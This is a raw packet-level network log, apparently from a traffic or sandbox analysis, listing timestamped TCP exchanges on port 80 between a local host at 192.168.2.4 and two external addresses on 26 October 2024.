Oct 26, 2024 05:55:09.198482990 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198513031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198565960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198607922 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198633909 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198667049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198682070 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198708057 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198731899 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198775053 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198822975 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198863983 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198915958 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198949099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198966026 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198986053 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198998928 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.199038029 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.199064970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.199112892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.199115038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.199148893 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.199156046 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.199187994 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.199213982 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.199246883 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.199260950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.199285984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.199418068 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.199467897 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.199469090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.199506998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.310173988 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.310265064 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.310312033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.310338974 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.354883909 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.354943037 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.354952097 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.354990959 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.354995012 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355031967 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355043888 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355066061 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355083942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355113983 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355135918 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355165958 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355185032 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355212927 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355218887 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355253935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355272055 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355285883 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355297089 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355339050 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355377913 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355407000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355428934 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355442047 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355454922 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355487108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355495930 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355525017 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355542898 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355557919 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355570078 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355604887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355612040 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355645895 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355658054 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355679989 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355694056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355722904 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355827093 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355878115 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355882883 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355911970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.355921030 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355958939 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.355976105 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.356033087 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.356041908 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.356076002 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.356091022 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.356142044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.356158018 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.356174946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.356183052 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.356219053 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.356228113 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.356332064 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.466648102 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.466722012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.504812956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.510397911 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783204079 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783268929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783299923 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783303976 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783334017 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783343077 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783358097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783392906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783437967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783446074 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783485889 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783521891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783530951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783559084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783577919 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783601046 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783631086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783664942 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783695936 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783699989 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783716917 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783732891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783760071 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783771038 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783818007 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783869028 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783869028 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783902884 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783926010 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783938885 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783953905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.783976078 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.783982992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.784015894 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.784048080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.784080029 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.784116983 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.784161091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.784316063 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.784358978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.784410954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.784462929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.784463882 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.784496069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.784528017 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.784540892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.784580946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.784610033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.784665108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.939754963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.939861059 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940023899 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940057039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940078974 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940093040 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940130949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940167904 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940170050 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940206051 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940221071 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940222979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940274000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940306902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940340042 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940341949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940372944 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940377951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940402985 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940407991 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940413952 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940443039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940473080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940490007 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940517902 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940524101 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940557957 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940592051 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940603018 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940627098 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940664053 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940680027 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940697908 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940711021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940802097 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940828085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940877914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940880060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940913916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940927982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940947056 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.940967083 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.940984011 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.941042900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.941096067 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.941099882 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.941131115 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.941142082 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.941164970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.941179991 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.941212893 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.941289902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.941342115 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.941348076 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.941375017 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.941386938 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.941422939 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.959335089 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.959392071 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.959441900 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.959460974 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.959475994 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.959501028 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.959513903 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.959532022 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.959559917 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.959563971 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.959599018 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.959609032 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.959630966 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.959641933 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.959671974 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.959686995 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.959707975 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.959717989 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.959755898 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.965496063 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.965621948 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.965658903 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.965815067 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.965815067 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.096658945 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.096735954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.096805096 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.096808910 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.096841097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.096878052 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.096890926 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.096913099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.096924067 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097014904 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097048044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097064018 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097098112 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097100019 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097151041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097161055 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097188950 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097193956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097223997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097233057 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097259998 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097269058 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097302914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097357035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097408056 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097440958 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097456932 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097482920 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097536087 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097568989 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097583055 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097611904 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097621918 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097656965 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097687006 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097698927 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097862005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097913027 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097919941 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.097946882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097981930 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.097995043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.098074913 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.098109007 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.098121881 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.098144054 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.098145962 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.100250959 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.114451885 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.114484072 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.114537001 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.114547014 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.114579916 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.114583015 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.114626884 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.114706993 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.114759922 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.114785910 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.114789009 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.114806890 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.114831924 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.115138054 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.115170956 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.115200996 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.115206003 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.115216970 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.115252018 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.115570068 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.115626097 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.115647078 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.115680933 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.115699053 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.115756035 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.115767956 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.115789890 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.115818024 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.115856886 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.116399050 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.116449118 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.116466045 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.116499901 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.116512060 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.116537094 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.116548061 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.116573095 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.116580963 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.116616964 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.117367983 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.117419004 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.117430925 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.117453098 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.117464066 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.117499113 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.119858980 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.119914055 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.119947910 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.119951010 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.119977951 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.119990110 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.253695965 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.253751040 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.253757954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.253792048 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.253798008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.253839970 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.253844976 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.253875017 CEST	80	49745	185.215.113.206	192.168.2.4
